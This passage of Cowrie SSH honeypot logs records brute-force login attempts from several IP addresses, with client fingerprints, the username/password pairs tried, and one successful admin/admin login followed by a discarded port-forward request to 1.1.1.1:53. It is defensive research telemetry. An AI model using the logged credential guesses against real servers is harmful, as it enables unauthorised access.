f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:52.618054Z","src_ip":"202.29.225.206","session":"f7b0be4f9da1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"trish","message":"login attempt [root/trish] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:53.638357Z","src_ip":"202.29.225.206","session":"f7b0be4f9da1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:37:54.890946Z","src_ip":"202.29.225.206","session":"f7b0be4f9da1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":45122,"dst_ip":"10.17.0.5","dst_port":22,"session":"c97e90afbee5","protocol":"ssh","message":"New connection: 67.102.183.113:45122 (10.17.0.5:22) [session: c97e90afbee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:06.806545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:06.811336Z","src_ip":"67.102.183.113","session":"c97e90afbee5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:06.883572Z","src_ip":"67.102.183.113","session":"c97e90afbee5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"windsurf","message":"login attempt [root/windsurf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:07.203868Z","src_ip":"67.102.183.113","session":"c97e90afbee5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:08.279594Z","src_ip":"67.102.183.113","session":"c97e90afbee5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":52160,"dst_ip":"159.203.135.109","dst_port":22,"session":"37a0a2865ce6","protocol":"ssh","message":"New connection: 186.116.56.108:52160 (159.203.135.109:22) [session: 37a0a2865ce6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:09.331601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:09.336376Z","src_ip":"186.116.56.108","session":"37a0a2865ce6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:09.427161Z","src_ip":"186.116.56.108","session":"37a0a2865ce6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:09.816729Z","src_ip":"186.116.56.108","session":"37a0a2865ce6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:10.909769Z","src_ip":"186.116.56.108","session":"37a0a2865ce6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":38626,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce78981601d2","protocol":"ssh","message":"New connection: 87.251.64.176:38626 (10.17.0.5:22) [session: ce78981601d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:42.526031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:42.534792Z","src_ip":"87.251.64.176","session":"ce78981601d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:42.630835Z","src_ip":"87.251.64.176","session":"ce78981601d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:42.922626Z","src_ip":"87.251.64.176","session":"ce78981601d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:43.021172Z","session":"ce78981601d2","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:43.118684Z","src_ip":"87.251.64.176","session":"ce78981601d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:43.217263Z","src_ip":"87.251.64.176","session":"ce78981601d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.121.31.17","src_port":44698,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f49bfdc9d96","protocol":"ssh","message":"New connection: 124.121.31.17:44698 (10.17.0.5:22) [session: 3f49bfdc9d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:43.555544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:43.559880Z","src_ip":"124.121.31.17","session":"3f49bfdc9d96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:43.824748Z","src_ip":"124.121.31.17","session":"3f49bfdc9d96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pakchoi","password":"Kermit123@","message":"login attempt [pakchoi/Kermit123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:44.918221Z","src_ip":"124.121.31.17","session":"3f49bfdc9d96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:38:46.191718Z","src_ip":"124.121.31.17","session":"3f49bfdc9d96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":36000,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0124e4dd2de","protocol":"ssh","message":"New connection: 163.7.9.84:36000 (10.17.0.5:22) [session: f0124e4dd2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:06.375668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:06.380951Z","src_ip":"163.7.9.84","session":"f0124e4dd2de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:06.633868Z","src_ip":"163.7.9.84","session":"f0124e4dd2de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sftp","message":"login attempt [root/sftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:07.673216Z","src_ip":"163.7.9.84","session":"f0124e4dd2de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:08.928878Z","src_ip":"163.7.9.84","session":"f0124e4dd2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":47406,"dst_ip":"159.203.135.109","dst_port":22,"session":"a22efec8461a","protocol":"ssh","message":"New connection: 202.29.225.206:47406 (159.203.135.109:22) [session: a22efec8461a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:11.489962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:11.495206Z","src_ip":"202.29.225.206","session":"a22efec8461a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:11.737817Z","src_ip":"202.29.225.206","session":"a22efec8461a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Albert","message":"login attempt [root/Albert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:12.749645Z","src_ip":"202.29.225.206","session":"a22efec8461a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:13.994298Z","src_ip":"202.29.225.206","session":"a22efec8461a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":50960,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab5ed16647eb","protocol":"ssh","message":"New connection: 186.116.56.108:50960 (159.203.135.109:22) [session: ab5ed16647eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:29.270499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:29.275456Z","src_ip":"186.116.56.108","session":"ab5ed16647eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:29.371846Z","src_ip":"186.116.56.108","session":"ab5ed16647eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:29.781400Z","src_ip":"186.116.56.108","session":"ab5ed16647eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:30.881481Z","src_ip":"186.116.56.108","session":"ab5ed16647eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":53388,"dst_ip":"10.17.0.5","dst_port":22,"session":"7520621d84b4","protocol":"ssh","message":"New connection: 67.102.183.113:53388 (10.17.0.5:22) [session: 7520621d84b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:41.916550Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:41.921333Z","src_ip":"67.102.183.113","session":"7520621d84b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:41.991526Z","src_ip":"67.102.183.113","session":"7520621d84b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calimero","message":"login attempt [root/calimero] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:39:42.302797Z","src_ip":"67.102.183.113","session":"7520621d84b4","protocol":"ssh"}
